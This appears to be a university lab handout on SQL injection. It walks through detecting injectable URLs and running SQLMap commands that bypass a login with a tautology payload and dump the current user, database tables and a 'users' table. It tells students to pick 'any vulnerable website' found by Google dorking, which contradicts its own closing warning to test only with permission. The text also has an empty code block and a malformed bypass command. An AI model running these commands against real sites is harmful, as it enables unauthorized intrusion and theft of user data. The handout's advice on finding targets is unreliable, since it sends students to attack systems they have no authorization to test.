Lab Title: Exploring SQL Injection with SQLMap

Objective: The objective of this lab is to introduce you to SQL injection and demonstrate how SQLMap, a popular penetration testing tool, can be used to automate the exploitation of SQL injection vulnerabilities.

Requirements

1. A Kali Linux virtual machine with SQLMap installed (it should be available by default in Kali Linux).

2. Access to a vulnerable website for testing (for this lab, you can use any vulnerable website –tip: you can find vulnerable websites using google dorking).

3. A web browser.

Instructions:

Part 1: Identifying SQL Injection Vulnerability

1. Launch your Kali Linux virtual machine.

2. Open the Terminal and check if SQLMap is installed by typing `sqlmap --version`. If not installed, install it using the package manager.

3. In your web browser, navigate to the vulnerable website

4. In the address bar, append a single quote (') at the end of the URL, then press Enter. For example, http://website.com'.

5. If you receive an error message, it indicates that the website may be vulnerable to SQL injection.

Part 2: Exploiting SQL Injection with SQLMap

Now that you've identified a potentially vulnerable website, let's use SQLMap to automate the exploitation.

6. Open a Terminal and navigate to the SQLMap tool.

7. Perform a basic scan of the website to identify potential SQL injection points. Use the following command:

```
```

```
sqlmap -u http://website.com --risk=3 --level=5
```

This command will attempt to identify SQL injection vulnerabilities.

8. After SQLMap identifies a vulnerability, try to use SQLMap to perform a login bypass attack. This will allow you to log in without any credentials:

```
sqlmap -u "http://website.com/login?username=1' or '1'='1'&password=1" --data="username=1' or '1'='1'&password=1" --level=5 --risk=3 --batch --dump
```

Part 3: Manual SQL Injection (optional Bonus)

To give you an understanding of what SQLMap automates, you can show how to perform manual SQL injection attacks using a tool like Burp Suite as well as directly through the web application.

Part 4: Retrieving Data with SQLMap

Now, you'll use SQLMap to retrieve data from the vulnerable website's database.

9. To retrieve the current user, current database, and hostname, run the following command:

```
sqlmap -u "http://website.com/page?id=1" --current-user --current-db --hostname --batch
```

10. To retrieve a list of tables within the database, use:

```
sqlmap -u "http://website.com/page?id=1" --tables
```

11. To dump all data from a specific table (e.g., "users"), use:

```
sqlmap -u "http://website.com/page?id=1" -D dbname -T users --dump
```

Part 5: Verify Information

12. Use the information retrieved by SQLMap to verify whether the username and password match the results obtained by SQLMap. You can cross-reference this with the data you dumped from the "users" table.

Submission guideline:
Please record your work and submit it on canvas.

Conclusion:

In this lab, you've explored SQL injection vulnerabilities, exploited them using SQLMap, and retrieved data from a vulnerable web application. It's important to emphasize that ethical hacking and penetration testing should always be conducted with proper authorization and within legal boundaries. Unauthorized testing is illegal and unethical. You should use these skills responsibly and only on systems for which they have permission.